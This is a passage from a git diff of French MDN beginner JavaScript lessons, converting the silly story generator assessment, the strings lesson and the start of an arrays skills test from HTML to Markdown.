{{htmlelement("p")}} en bas du corps HTML dans lequel l'histoire sera copiée (<code>story</code>). Par ailleurs, vous avez une fonction appelée <code>randomValueFromArray() </code>qui prend une table, et qui renvoie au hasard l'un des éléments qu'elle contient.</li> - <li>Maintenant regardons la deuxième section du fichier de texte brut : "2. RAW TEXT STRINGS". Cette section contient des chaînes de caractères qui vont se comporter comme des entrées (<em>input</em>) dans notre program. L'idée est que vous intégriez ces variables internes dans <code>main.js</code>: - <ol> - <li>Stockez la première longue chaîne de caractères (string) dans la variable <code>storyText</code>.</li> - <li>Stockez le premier groupe de trois strings dans le tableau <code>insertX</code>.</li> - <li>Stockez le deuxième groupe de trois strings dans le tableau <code>insertY</code>.</li> - <li>Stockez le troisième groupe de trois strings dans une tableau <code>insertZ</code>.</li> - </ol> - </li> -</ol> - -<p>Mettre en place le gestionnaire d'événements (<em>event handler</em>) et le squelette de la fonction :</p> - -<ol> - <li>Retournez au fichier de texte brut.</li> - <li>Copiez le code qui se trouve sous le titre "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" et collez-le en bas de votre fichier <code>main.js</code> principal. Cela : - <ul> - <li>Ajoute un gestionnaire d'événements pour les clics à la variable <code>randomize</code> de telle sorte que quand on clique sur le bouton associé, la fonction <code>result()</code> se lance.</li> - <li>Ajoute une définition partiellement complète de la fonction <code>result()</code> à votre code. Pour le reste de l'évaluation, vous compléterez des lignes au sein de cette fonction pour la compléter et la faire fonctionner correctement.</li> - </ul> - </li> -</ol> - -<p>Compléter la fonction <code>result()</code> :</p> - -<ol> - <li>Créer une nouvelle variable nommée <code>newStory</code>, et fixer sa valeur pour qu'elle soit égale à <code>storyText</code>. C'est nécessaire pour que soit créée une nouvelle histoire au hasard à chaque fois qu'on appuiera sur le bouton "Generate" et que la fonction sera lancée. Si on apportait des modifications directement à <code>storyText</code>, on ne pourrait générer une nouvelle histoire qu'une seule fois.</li> - <li>Créer trois nouvelles variables nommées <code>xItem</code>, <code>yItem</code>, et <code>zItem</code>, et faites en sorte qu'elles soient égales au résultat de l'appel de <code>randomValueFromArray()</code> sur vos trois tables (le résultat dans chaque cas fera apparaître un élément au hasard en provenance de chacune des tables appelées). Par exemple, vous pouvez appeler la fonction et lui faire retourner une chaîne de caractères au hasard depuis <code>insertX</code> en écrivant <code>randomValueFromArray(insertX)</code>.</li> - <li>Ensuite nous allons remplacer les trois fichiers temporaires dans la chaîne <code>newStory</code> — <code>:insertx:</code>, <code>:inserty:</code>, et <code>:insertz:</code> — par les chaînes stockées dans <code>xItem</code>, <code>yItem</code>, and <code>zItem</code>. Ici, une méthode particulière de chaînes pourra vous aider : dans chaque cas, faites que l'appel à la méthode soit égal à <code>newStory</code>, de sorte qu'à chaque appel, <code>newStory</code> est égal à lui-même, mais avec les substitutions effectuées. Ainsi, à chaque fois qu'on appuiera sur le bouton, ces fichiers temporaires seront chacun remplacés par une chaîne de caractères absurdes au hasard. Pour information, la méthode en question remplace seulement la première séquence de sous-chaîne qu'elle trouve, donc vous devrez peut-être l'un des appels deux fois.</li> - <li>Dans le premier block <code>if</code>, ajoutez une autre méthode de remplacement de chaîne pour remplacer le nom 'Bob' que vous trouverez dans la chaîne <code>newStory</code> en tant que variable <code>name</code>. Dans ce block, on établit que "Si une valeur a été entrée dans le champ <code>customName</code> text input, on remplacera dans l'histoire le mot Bob par ce nom personnalisé".</li> - <li>Dans le deuxième block <code>if</code>, on vérifie que le bouton radio <code>uk</code> a été coché. Si c'est le cas, nous voulons convertir les valeurs de poids et de température de l'histoire. Les pounds et les farenheit deviennent des stones et des centigrades. Procédez comme suit : - <ol> - <li>Cherchez la formule pour convertir les pounds en stones et les fareinheit en centigrades.</li> - <li>Dans la ligne qui définit la variable <code>weight</code> (poids), remplacez 300 par un calcul qui convertit 300 pounds en stones. Le tout englobé dans un <code>Math.round()</code> à la fin duquel vous concatenez <code>'stone'</code>.</li> - <li>Dans la ligne qui définit la variable <code>temperature</code>, remplacez 94 par un calcul qui convertit 94 fahrenheit en centigrades. Le tout englobé dans un <code>Math.round()</code> à la fin duquel vous concatenez<code> 'centigrade'</code>.</li> - <li>Juste sous la définition des deux variables, ajoutez deux lignes de remplacement de chaînes supplémentaires qui remplacent '94 farhenheit' par les contenus de la variable <code>temperature</code>, et '300 pounds' par les contenus de la variable <code>weight</code>.</li> - </ol> - </li> - <li>Enfin, dans l'antépénultième ligne de la fonction, faites en sorte que la propriété <code>textContent</code> de la variable <code>story</code> (qui référence le paragraphe) soit égale à <code>newStory</code>.</li> -</ol> - -<h2 id="Trucs_et_astuces">Trucs et astuces</h2> - -<ul> - <li>Aucun besoin de modifier le code HTML, à part pour lui appliquer le JavaScript.</li> - <li>Si vous n'êtes pas sûr que le JavaScript est correctement appliqué à votre HTML, essayez de supprimer temporairement tout le contenu du fichier JavaScript, et d'y ajouter un morceau très simple de code JavaScript dont vous savez qu'il aura un effet visible, puis sauvegardez et rafraîchissez. Par exemple, le morceau de code suivant fait que l'arrière plan de la balise {{htmlelement("html")}} devient rouge — donc toute la fenêtre du navigateur devrait devenir rouge si le JavaScript est correctement appliqué :</li> - <li> - <pre class="brush: js">document.querySelector('html').style.backgroundColor = 'red';</pre> - </li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/round">Math.round()</a> est une méthode JavaScript intégrée qui arrondit simplement le résultat d'un calcul à l'entier le plus proche.</li> -</ul> - -<h2 id="Évaluation">Évaluation</h2> - -<p>Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir soumettre votre travail à votre enseignant/encadrant pour être évalué. Si vous êtes autodidacte, vous pouvez facilement obtenir le guide de notation en vous adressant à la mailing list <a href="https://lists.mozilla.org/listinfo/dev-mdc">dev-mdc</a> ou au canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Essayez de faire l'exercice d'abord — vous ne gagnez rien à tricher !</p> - -<p>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p> - -<h2 id="Dans_ce_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li> -</ul> +- [What is JavaScript?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) +- [A first splash into JavaScript](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) +- [What went wrong? Troubleshooting JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) +- [Storing the information you need — Variables](/fr/docs/Learn/JavaScript/First_steps/Variables) +- [Basic math in JavaScript — numbers and operators](/fr/docs/Learn/JavaScript/First_steps/Math) +- [Handling text — strings in JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) +- [Useful string methods](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods) +- [Arrays](/fr/docs/Learn/JavaScript/First_steps/Arrays) +- [Assessment: Silly story generator](/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator) diff --git a/files/fr/learn/javascript/first_steps/strings/index.md b/files/fr/learn/javascript/first_steps/strings/index.md index 457cf98379..beaac08ec1 100644 --- a/files/fr/learn/javascript/first_steps/strings/index.md +++ b/files/fr/learn/javascript/first_steps/strings/index.md @@ -3,41 +3,46 @@ title: Gérer du texte — les chaînes de caractères en JavaScript slug: Learn/JavaScript/First_steps/Strings translation_of: Learn/JavaScript/First_steps/Strings --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</div> - -<p>Concentrons-nous maintenant sur les chaînes de caractères - c'est le nom donné à un segment de texte en programmation. Dans cet article, nous aborderons les aspects les plus communs des chaînes de caractères que vous devez vraiment connaître quand vous apprenez JavaScript, comme créer une chaîne de caractères, échapper des guillemets dans une chaîne ou encore concaténer des chaînes.</p> +Concentrons-nous maintenant sur les chaînes de caractères - c'est le nom donné à un segment de texte en programmation. Dans cet article, nous aborderons les aspects les plus communs des chaînes de caractères que vous devez vraiment connaître quand vous apprenez JavaScript, comme créer une chaîne de caractères, échapper des guillemets dans une chaîne ou encore concaténer des chaînes. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissance de base en informatique, une compréhension basique de HTML et CSS et savoir ce qu'est JavaScript.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Devenir familier avec les fondamentaux pour manipuler les chaînes de caractères en JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissance de base en informatique, une compréhension basique de HTML + et CSS et savoir ce qu'est JavaScript. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Devenir familier avec les fondamentaux pour manipuler les chaînes de + caractères en JavaScript. + </td> + </tr> + </tbody> </table> -<h2 id="Le_pouvoir_des_mots">Le pouvoir des mots</h2> +## Le pouvoir des mots -<p>Les mots ont beaucoup d'importance pour les humains — ils occupent une large part dans nos façons de communiquer. Comme le Web est un medium essentiellement fondé sur du texte conçu pour permettre aux hommes de communiquer et partager de l'information, il est utile de contrôler les mots qui y sont publiés. {{glossary("HTML")}} donne structure et sens au texte, {{glossary("CSS")}} en gère le style et JavaScript comporte une série de fonctionnalités pour manipuler les chaînes de caractères, créer des messages d'accueil personnalisés, afficher la bonne étiquette quand nécessaire, trier des termes dans l'ordre voulu, et bien d'autres choses encore.</p> +Les mots ont beaucoup d'importance pour les humains — ils occupent une large part dans nos façons de communiquer. Comme le Web est un medium essentiellement fondé sur du texte conçu pour permettre aux hommes de communiquer et partager de l'information, il est utile de contrôler les mots qui y sont publiés. {{glossary("HTML")}} donne structure et sens au texte, {{glossary("CSS")}} en gère le style et JavaScript comporte une série de fonctionnalités pour manipuler les chaînes de caractères, créer des messages d'accueil personnalisés, afficher la bonne étiquette quand nécessaire, trier des termes dans l'ordre voulu, et bien d'autres choses encore. -<p>À peu près tous les programmes que nous vous avons montrés jusqu'ici ont impliqué des manipulations de chaînes de caractères.</p> +À peu près tous les programmes que nous vous avons montrés jusqu'ici ont impliqué des manipulations de chaînes de caractères. -<h2 id="Chaînes_de_caractères_—_les_bases">Chaînes de caractères — les bases</h2> +## Chaînes de caractères — les bases -<p>À première vue, les chaînes se traitent de la même manière que les nombres ; mais si vous approfondissez la chose, vous commencerez à percevoir des différences notables. Entrons sur la console quelques lignes simples pour nous familiariser avec la chose. À propos de la console, nous en avons placé une ci‑dessous (vous pouvez <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">l'ouvrir</a> dans un onglet ou une fenêtre séparée, ou bien utiliser celle de <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">l'explorateur, </a>comme vous préférez).</p> +À première vue, les chaînes se traitent de la même manière que les nombres ; mais si vous approfondissez la chose, vous commencerez à percevoir des différences notables. Entrons sur la console quelques lignes simples pour nous familiariser avec la chose. À propos de la console, nous en avons placé une ci‑dessous (vous pouvez [l'ouvrir](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparée, ou bien utiliser celle de [l'explorateur, ](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools)comme vous préférez). -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>JavaScript console</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> * { box-sizing: border-box; } @@ -85,14 +90,14 @@ translation_of: Learn/JavaScript/First_steps/Strings clear: both; } - </style> - </head> - <body> + </style> + </head> + <body> - </body> + </body> - <script> + <script> let geval = eval; function createInput() { let inputDiv = document.createElement('div'); @@ -100,12 +105,12 @@ translation_of: Learn/JavaScript/First_steps/Strings let inputForm = document.createElement('input'); inputDiv.setAttribute('class','input'); - inputPara.textContent = '>'; + inputPara.textContent = '>'; inputDiv.appendChild(inputPara); inputDiv.appendChild(inputForm); document.body.appendChild(inputDiv); - if(document.querySelectorAll('div').length > 1) { + if(document.querySelectorAll('div').length > 1) { inputForm.focus(); } @@ -135,130 +140,176 @@ translation_of: Learn/JavaScript/First_steps/Strings createInput(); - </script> -</html></pre> - -<p>{{ EmbedLiveSample('Chaînes_de_caractères_—_les_bases', '100%', 300) }}</p> - -<h3 id="Créer_une_chaîne_de_texte">Créer une chaîne de texte</h3> - -<ol> - <li>Pour débuter, entrez les lignes suivantes : - <pre class="brush: js">let string = 'La révolution ne sera pas télévisée.'; -string;</pre> - Comme nous l'avons fait avec les nombres, nous déclarons une variable, l'initialisons avec une valeur de chaîne, puis renvoyons la valeur. La seule différence ici est que lorsque nous écrivons une chaîne, nous la mettons entre guillemets.</li> - <li>Si vous ne le faites pas, ou si vous oubliez un des guillemets, vous déclenchez une erreur. Essayez d'entrer une de ces lignes : - <pre class="brush: js example-bad">let badString = Voici un test; -let badString = 'Voici un test; -let badString = Voici un test';</pre> - Ces lignes de code ne fonctionnent pas parce que toute chaîne de texte qui n'est pas écrite entre guillemets est considérée comme un nom de variable, un nom de propriété, un mot réservé ou quelque chose de semblable. Quand l'interpréteur ne parvient pas à trouver la déclaration de ladite variable, une erreur est déclenchée (par ex. « missing ; before statement »). Si l'interpréteur voit le début d'une chaîne mais ne trouve pas sa fin, comme dans la ligne 2, il se plaint en émettant une erreur (avec « <em>unterminated string literal</em> »). Si votre programme produit de telles erreurs, revoyez‑le et vérifiez qu'aucun guillemet ne manque.</li> - <li>L'assertion suivante fonctionne si la variable <code>string</code> a été préalablement définie — essayez maintenant : - <pre class="brush: js">let badString = string; -badString;</pre> - <code>badString</code> est maintenant défini avec la même valeur que <code>string</code>.</li> -</ol> - -<h3 id="Guillemets_simples_vs_guillemets_doubles">Guillemets simples vs guillemets doubles</h3> - -<ol> - <li>En JavaScript, vous pouvez envelopper vos chaînes entre des guillemets simples ou doubles. Les deux expressions suivantes sont correctes : - <pre class="brush: js">let sgl = 'Guillemet simple.'; -let dbl = "Guillemets doubles."; -sgl; -dbl;</pre> - </li> - <li>Il y a une toute petite différence entre les deux, et celle que vous retenez relève de la préférence personnelle. Prenez-en une, et tenez‑vous y toutefois : du code avec des mises entre guillemets diversifiées peut amener des confusions, en particulier si vous utilisez les deux sortes dans la même chaîne ! Ce qui suit renvoie une erreur : - <pre class="brush: js example-bad">let badQuotes = 'Quoi sur Terre ?";</pre> - </li> - <li>L'interpréteur pensera que la chaîne n'a pas été fermée, car le type de guillemet autre ne servant pas à délimiter les chaînes peut y être employé. Par exemple, ces deux assertions sont valables : - <pre class="brush: js">let sglDbl = 'Mangeriez‑vous un "souper de poisson"?'; -let dblSgl = "J'ai le blues."; -sglDbl; -dblSgl;</pre> - </li> - <li>Bien entendu, vous ne pouvez pas inclure dans la chaîne le même type de guillemet que celui qui est utilisé pour la délimiter. Ce qui suit conduit à une erreur, car l'explorateur ne peut pas déterminer là où se termine la chaîne : - <pre class="brush: js example-bad">let bigmouth = 'Je n'ai pas eu droit à prendre place...';</pre> - Voilà qui nous amène naturellement au prochain sujet.</li> -</ol> - -<h3 id="Échappement_de_caractères_dans_une_chaîne">Échappement de caractères dans une chaîne</h3> - -<p>Pour corriger l'erreur dans notre ligne de code précédente, il nous suffit d'échapper au problème que pose le guillemet. « Échapper des caractères » signifie que nous les marquons de manière à ce qu'ils soient reconnus comme partie intégrante du texte, et non pas comme symbole de code. Dans JavaScript, nous le faisons en mettant une barre oblique inverse juste avant le caractère. Essayons :</p> - -<pre class="brush: js">let bigmouth = 'Je n\'ai pas eu droit à prendre place...'; -bigmouth;</pre> - -<p>Cela fonctionne à la perfection. Vous pouvez échapper d'autres caractères de la même manière, par ex. <code>\"</code>, et il y a certains codes spéciaux à côté. Voyez <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String#escape_notation">Notations d'échappement</a> pour plus de détails.</p> - -<h2 id="Concaténation_de_chaînes">Concaténation de chaînes</h2> - -<ol> - <li>Concaténer est un terme de programmation du genre chic qui signifie « attacher ensemble ». Pour attacher des chaînes en JavaScript, on utilise l'opérateur plus (+) , le même que l'on utilise pour ajouter deux nombres, mais dans ce contexte il fait quelque chose de différent. Voyons un exemple dans la console. - <pre class="brush: js">let one = 'Hello, '; -let two = 'comment allez‑vous ?'; -let joined = one + two; -joined;</pre> - Il en résulte que la variable nommée <code>joined</code> contient la valeur "Hello, comment allez‑vous ?".</li> - <li>Dans le dernier exemple, nous avons juste attaché deux chaînes ensemble, mais vous pouvez en attacher autant que vous voulez, pour autant que vous mettiez un signe <code>+</code> entre chacune. Essayez ceci : - <pre class="brush: js">let multiple = one + one + one + one + two; -multiple;</pre> - </li> - <li>Vous pouvez aussi mélanger des variables avec des vraies chaînes. Regardez : - <pre class="brush: js">let response = one + 'Je vais bien — et vous ' + two; -response;</pre> - </li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> Quand vous entrez une chaîne dans votre code, entre guillemets simples ou doubles, on l'appelle <strong>chaîne littérale</strong>.</p> -</div> - -<h3 id="Concaténation_dans_un_contexte">Concaténation dans un contexte</h3> - -<p>Examinons une concaténation dans une action — voici un exemple tiré en amont de ce cours :</p> - -<pre class="brush: html"><button>Pressez‑moi</button></pre> - -<pre class="brush: js">let button = document.querySelector('button'); + </script> +</html> +``` + +{{ EmbedLiveSample('Chaînes_de_caractères_—_les_bases', '100%', 300) }} + +### Créer une chaîne de texte + +1. Pour débuter, entrez les lignes suivantes : + + ```js + let string = 'La révolution ne sera pas télévisée.'; + string; + ``` + + Comme nous l'avons fait avec les nombres, nous déclarons une variable, l'initialisons avec une valeur de chaîne, puis renvoyons la valeur. La seule différence ici est que lorsque nous écrivons une chaîne, nous la mettons entre guillemets. + +2. Si vous ne le faites pas, ou si vous oubliez un des guillemets, vous déclenchez une erreur. Essayez d'entrer une de ces lignes : + + ```js example-bad + let badString = Voici un test; + let badString = 'Voici un test; + let badString = Voici un test'; + ``` + + Ces lignes de code ne fonctionnent pas parce que toute chaîne de texte qui n'est pas écrite entre guillemets est considérée comme un nom de variable, un nom de propriété, un mot réservé ou quelque chose de semblable. Quand l'interpréteur ne parvient pas à trouver la déclaration de ladite variable, une erreur est déclenchée (par ex. « missing ; before statement »). Si l'interpréteur voit le début d'une chaîne mais ne trouve pas sa fin, comme dans la ligne 2, il se plaint en émettant une erreur (avec « *unterminated string literal* »). Si votre programme produit de telles erreurs, revoyez‑le et vérifiez qu'aucun guillemet ne manque. + +3. L'assertion suivante fonctionne si la variable `string` a été préalablement définie — essayez maintenant : + + ```js + let badString = string; + badString; + ``` + + `badString` est maintenant défini avec la même valeur que `string`. + +### Guillemets simples vs guillemets doubles + +1. En JavaScript, vous pouvez envelopper vos chaînes entre des guillemets simples ou doubles. Les deux expressions suivantes sont correctes : + + ```js + let sgl = 'Guillemet simple.'; + let dbl = "Guillemets doubles."; + sgl; + dbl; + ``` + +2. Il y a une toute petite différence entre les deux, et celle que vous retenez relève de la préférence personnelle. Prenez-en une, et tenez‑vous y toutefois : du code avec des mises entre guillemets diversifiées peut amener des confusions, en particulier si vous utilisez les deux sortes dans la même chaîne ! Ce qui suit renvoie une erreur : + + ```js example-bad + let badQuotes = 'Quoi sur Terre ?"; + ``` + +3. L'interpréteur pensera que la chaîne n'a pas été fermée, car le type de guillemet autre ne servant pas à délimiter les chaînes peut y être employé. Par exemple, ces deux assertions sont valables : + + ```js + let sglDbl = 'Mangeriez‑vous un "souper de poisson"?'; + let dblSgl = "J'ai le blues."; + sglDbl; + dblSgl; + ``` + +4. Bien entendu, vous ne pouvez pas inclure dans la chaîne le même type de guillemet que celui qui est utilisé pour la délimiter. Ce qui suit conduit à une erreur, car l'explorateur ne peut pas déterminer là où se termine la chaîne : + + ```js example-bad + let bigmouth = 'Je n'ai pas eu droit à prendre place...'; + ``` + + Voilà qui nous amène naturellement au prochain sujet. + +### Échappement de caractères dans une chaîne + +Pour corriger l'erreur dans notre ligne de code précédente, il nous suffit d'échapper au problème que pose le guillemet. « Échapper des caractères » signifie que nous les marquons de manière à ce qu'ils soient reconnus comme partie intégrante du texte, et non pas comme symbole de code. Dans JavaScript, nous le faisons en mettant une barre oblique inverse juste avant le caractère. Essayons : + +```js +let bigmouth = 'Je n\'ai pas eu droit à prendre place...'; +bigmouth; +``` + +Cela fonctionne à la perfection. Vous pouvez échapper d'autres caractères de la même manière, par ex. `\"`, et il y a certains codes spéciaux à côté. Voyez [Notations d'échappement](/fr/docs/Web/JavaScript/Reference/Global_Objects/String#escape_notation) pour plus de détails. + +## Concaténation de chaînes + +1. Concaténer est un terme de programmation du genre chic qui signifie « attacher ensemble ». Pour attacher des chaînes en JavaScript, on utilise l'opérateur plus (+) , le même que l'on utilise pour ajouter deux nombres, mais dans ce contexte il fait quelque chose de différent. Voyons un exemple dans la console. + + ```js + let one = 'Hello, '; + let two = 'comment allez‑vous ?'; + let joined = one + two; + joined; + ``` + + Il en résulte que la variable nommée `joined` contient la valeur "Hello, comment allez‑vous ?". + +2. Dans le dernier exemple, nous avons juste attaché deux chaînes ensemble, mais vous pouvez en attacher autant que vous voulez, pour autant que vous mettiez un signe `+` entre chacune. Essayez ceci : + + ```js + let multiple = one + one + one + one + two; + multiple; + ``` + +3. Vous pouvez aussi mélanger des variables avec des vraies chaînes. Regardez : + + ```js + let response = one + 'Je vais bien — et vous ' + two; + response; + ``` + +> **Note :** Quand vous entrez une chaîne dans votre code, entre guillemets simples ou doubles, on l'appelle **chaîne littérale**. + +### Concaténation dans un contexte + +Examinons une concaténation dans une action — voici un exemple tiré en amont de ce cours : + +```html +<button>Pressez‑moi</button> +``` + +```js +let button = document.querySelector('button'); button.onclick = function() { let name = prompt('Quel est votre nom ?'); alert('Hello ' + name + ', sympa de vous voir !'); -}</pre> - -<p>{{ EmbedLiveSample('Concaténation_dans_un_contexte', '100%', 50) }}</p> - -<p>Ici nous utilisons en ligne 4 la fonction {{domxref("Window.prompt()", "Window.prompt()")}}, qui demande à l'utilisateur de répondre à une question par l'intermédiaire d'une boîte de dialogue, puis qui stocke le texte entré dans une variable donnée — dans ce cas <code>name</code>. En ligne 5, nous nous servons de la fonction {{domxref("Window.alert()", "Window.alert()")}} pour afficher un dialogue contenant une chaîne assemblée à partir de deux chaînes littérales et de la variable <code>name</code>, par concaténation.</p> - -<h3 id="Nombres_vs_chaînes">Nombres vs chaînes</h3> - -<ol> - <li>Que se passe-t-il quand nous essayons d'additionner (ou concaténer) une chaîne et un nombre ? Essayons dans la console : - <pre class="brush: js">'Front ' + 242; -</pre> - Vous vous attendriez à déclencher une erreur, mais cela fonctionne parfaitement. Essayer de représenter une chaîne comme un nombre n'a vraiment aucun sens, mais représenter un nombre par une chaîne en a, donc le navigateur convertit adroitement le nombre en chaîne et concatène les deux chaînes.</li> - <li>Vous pouvez même faire cela avec deux nombres — vous forcez un nombre à devenir une chaîne en le mettant entre guillemets. Essayez ce qui suit (nous nous servons de l'opérateur <code>typeof</code> pour vérifier si la variable est un nombre ou une chaîne): - <pre class="brush: js">let myDate = '19' + '67'; -typeof myDate;</pre> - </li> - <li>Si vous avez une variable numérique que vous souhaitez convertir en chaîne sans autre modification, ou une variable numérique que vous voulez convertir en chaîne sans autre modification, vous pouvez utiliser les constructions suivantes : - <ul> - <li>L'objet {{jsxref("Number")}} convertit tout ce qui lui est passé en nombre, si c'est possible. Essayez : - <pre class="brush: js">let myString = '123'; -let myNum = Number(myString); -typeof myNum;</pre> - </li> - <li>D'autre part, tout nombre possède une méthode nommée <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/toString">toString()</a></code> qui le convertit en chaîne équivalente. Essayez : - <pre class="brush: js">let myNum = 123; -let myString = myNum.toString(); -typeof myString;</pre> - </li> - </ul> - Ces constructions peuvent être vraiment utiles en certaines circonstances. Par exemple, si un utilisateur entre un nombre dans un champ texte d'un formulaire, c'est une chaîne. Mais si vous voulez ajouter ce nombre à autre chose, il est nécessaire qu'il soit du type <code>number</code>, donc vous pouvez le faire passer par la méthode <code>Number()</code> pour gérer cela. C'est exactement ce que nous avons fait dans le jeu <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L63">Devinez un nombre, à la ligne 63</a>.</li> -</ol> - -<h2 id="Conclusion">Conclusion</h2> - -<p>Voilà donc les bases de la manipulation des chaînes de caractères en JavaScript. Dans le prochain article, nous allons bâtir sur ces éléments en examinant certaines méthodes intégrées disponibles pour les chaînes de caractères dans JavaScript et en les utilisant pour mettre les chaînes de caractères dans la forme voulue.</p> - -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</p> +} +``` + +{{ EmbedLiveSample('Concaténation_dans_un_contexte', '100%', 50) }} + +Ici nous utilisons en ligne 4 la fonction {{domxref("Window.prompt()", "Window.prompt()")}}, qui demande à l'utilisateur de répondre à une question par l'intermédiaire d'une boîte de dialogue, puis qui stocke le texte entré dans une variable donnée — dans ce cas `name`. En ligne 5, nous nous servons de la fonction {{domxref("Window.alert()", "Window.alert()")}} pour afficher un dialogue contenant une chaîne assemblée à partir de deux chaînes littérales et de la variable `name`, par concaténation. + +### Nombres vs chaînes + +1. Que se passe-t-il quand nous essayons d'additionner (ou concaténer) une chaîne et un nombre ? Essayons dans la console : + + ```js + 'Front ' + 242; + ``` + + Vous vous attendriez à déclencher une erreur, mais cela fonctionne parfaitement. Essayer de représenter une chaîne comme un nombre n'a vraiment aucun sens, mais représenter un nombre par une chaîne en a, donc le navigateur convertit adroitement le nombre en chaîne et concatène les deux chaînes. + +2. Vous pouvez même faire cela avec deux nombres — vous forcez un nombre à devenir une chaîne en le mettant entre guillemets. Essayez ce qui suit (nous nous servons de l'opérateur `typeof` pour vérifier si la variable est un nombre ou une chaîne): + + ```js + let myDate = '19' + '67'; + typeof myDate; + ``` + +3. Si vous avez une variable numérique que vous souhaitez convertir en chaîne sans autre modification, ou une variable numérique que vous voulez convertir en chaîne sans autre modification, vous pouvez utiliser les constructions suivantes : + + - L'objet {{jsxref("Number")}} convertit tout ce qui lui est passé en nombre, si c'est possible. Essayez : + + ```js + let myString = '123'; + let myNum = Number(myString); + typeof myNum; + ``` + + - D'autre part, tout nombre possède une méthode nommée [`toString()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Number/toString) qui le convertit en chaîne équivalente. Essayez : + + ```js + let myNum = 123; + let myString = myNum.toString(); + typeof myString; + ``` + + Ces constructions peuvent être vraiment utiles en certaines circonstances. Par exemple, si un utilisateur entre un nombre dans un champ texte d'un formulaire, c'est une chaîne. Mais si vous voulez ajouter ce nombre à autre chose, il est nécessaire qu'il soit du type `number`, donc vous pouvez le faire passer par la méthode `Number()` pour gérer cela. C'est exactement ce que nous avons fait dans le jeu [Devinez un nombre, à la ligne 63](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L63). + +## Conclusion + +Voilà donc les bases de la manipulation des chaînes de caractères en JavaScript. Dans le prochain article, nous allons bâtir sur ces éléments en examinant certaines méthodes intégrées disponibles pour les chaînes de caractères dans JavaScript et en les utilisant pour mettre les chaînes de caractères dans la forme voulue. + +{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.md b/files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.md index a281723a68..6fd00343ae 100644 --- a/files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.md +++ b/files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.md @@ -10,84 +10,67 @@ tags: translation_of: Learn/JavaScript/First_steps/Test_your_skills:_Arrays original_slug: Learn/JavaScript/First_steps/Testes_vos_competence:_Tableaux --- -<div>{{learnsidebar}}</div> +{{learnsidebar}} -<p>L'objectif de ce test est d'évaluer votre compréhension <a href="/fr/docs/Learn/JavaScript/First_steps/Arrays">de l'article sur les tableaux en JavaScript (<i>arrays</i>)</a>.</p> +L'objectif de ce test est d'évaluer votre compréhension [de l'article sur les tableaux en JavaScript (_arrays_)](/fr/docs/Learn/JavaScript/First_steps/Arrays). -<div class="note"> -<p><strong>Note :</strong> Vous pouvez essayer vos solutions dans les éditeurs interactifs qui suivent. Toutefois, il peut aussi être utile de télécharger le code et d'utiliser un outil en ligne comme <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, ou <a href="https://glitch.com/">Glitch</a> afin de travailler sur ces tâches.</p> -<p>Si vous vous retrouvez bloqué·e, vous pouvez 